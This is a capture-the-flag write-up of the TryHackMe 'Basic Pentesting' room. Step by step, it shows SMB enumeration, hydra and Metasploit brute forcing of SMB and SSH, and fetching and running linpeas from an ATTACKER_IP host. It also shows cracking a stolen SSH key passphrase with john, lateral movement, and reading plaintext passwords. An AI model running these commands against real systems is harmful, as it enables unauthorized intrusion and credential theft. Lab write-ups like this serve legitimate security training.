Post

THM: Basic Pentesting

THM: Basic Pentesting

Banner

Linux box with anonymous SMB access revealing usernames. Brute forced SSH credentials, discovered encrypted SSH private key for lateral movement, and cracked key passphrase to access higher-privileged user.

Initial Enumeration

Nmap Scan

1
sudo nmap -sS -sV -T4 -p 22,80,139,445,8009,8080 TARGET_IP

Results:

1
2
3
4
5
6
7
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1
80/tcp   open  http        Apache httpd
139/tcp  open  netbios-ssn Samba smbd
445/tcp  open  netbios-ssn Samba smbd
8009/tcp open  ajp13       Apache Jserv
8080/tcp open  http        Apache Tomcat 9.0.7

SMB Enumeration

Anonymous Access

1
smbclient -N -L //TARGET_IP

Found “Anonymous” share accessible without credentials.

1
2
smbclient //TARGET_IP/Anonymous -U anonymous
get staff.txt

Discovery: File mentions user Jan


Credential Attacks

SMB Brute Force

1
2
3
4
5
6
msfconsole
use scanner/smb/smb_login
set RHOSTS TARGET_IP
set SMBUser jan
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Result: Jan’s SMB password is password

SSH Brute Force

1
sudo hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 64 -V

Result: Jan’s SSH password is armando


Initial Access

1
ssh jan@TARGET_IP

Successfully logged in as Jan.


Local Enumeration

File Transfer

1
python3 -m http.server 8000

On target:

1
2
3
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Manual Exploration

1
ls -la /home/kay/.ssh/

Discovery: Kay’s encrypted SSH private key


SSH Key Cracking

Extract Private Key

1
cat /home/kay/.ssh/id_rsa

Save to kay_id_rsa

Convert and Crack

1
2
3
chmod 600 kay_id_rsa
ssh2john kay_id_rsa > kay_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kay_hash.txt

Success: Passphrase cracked!


Lateral Movement

1
ssh -i kay_id_rsa kay@TARGET_IP

Enter cracked passphrase.

Result: Logged in as Kay


Password Discovery

1
cat /home/kay/pass.bak

Output: herebedragons$$

Kay’s system password obtained.


Notable Commands

CommandDescription
smbclient -N -L //IPList SMB shares anonymously
hydra -l user -P wordlist ssh://IP -t 64SSH brute force
python3 -m http.server 8000Simple HTTP server
ssh2john key > hashConvert SSH key to John format
john --wordlist=rockyou.txt hashCrack SSH key passphrase
ssh -i key user@IPSSH with private key

Key Takeaways

  • Anonymous SMB reveals usernames and intel
  • Different services often have different passwords
  • Encrypted SSH keys are crackable with weak passphrases
  • Backup files frequently contain plaintext credentials
  • Lateral movement through SSH keys is common
  • Readable .ssh directories enable privilege escalation

Room: Basic2Platform: TryHackMeDifficulty: EasyAttack Path: Anonymous SMB → SSH Brute Force → SSH Key Cracking → Lateral Movement
This post is licensed under CC BY 4.0 by the author.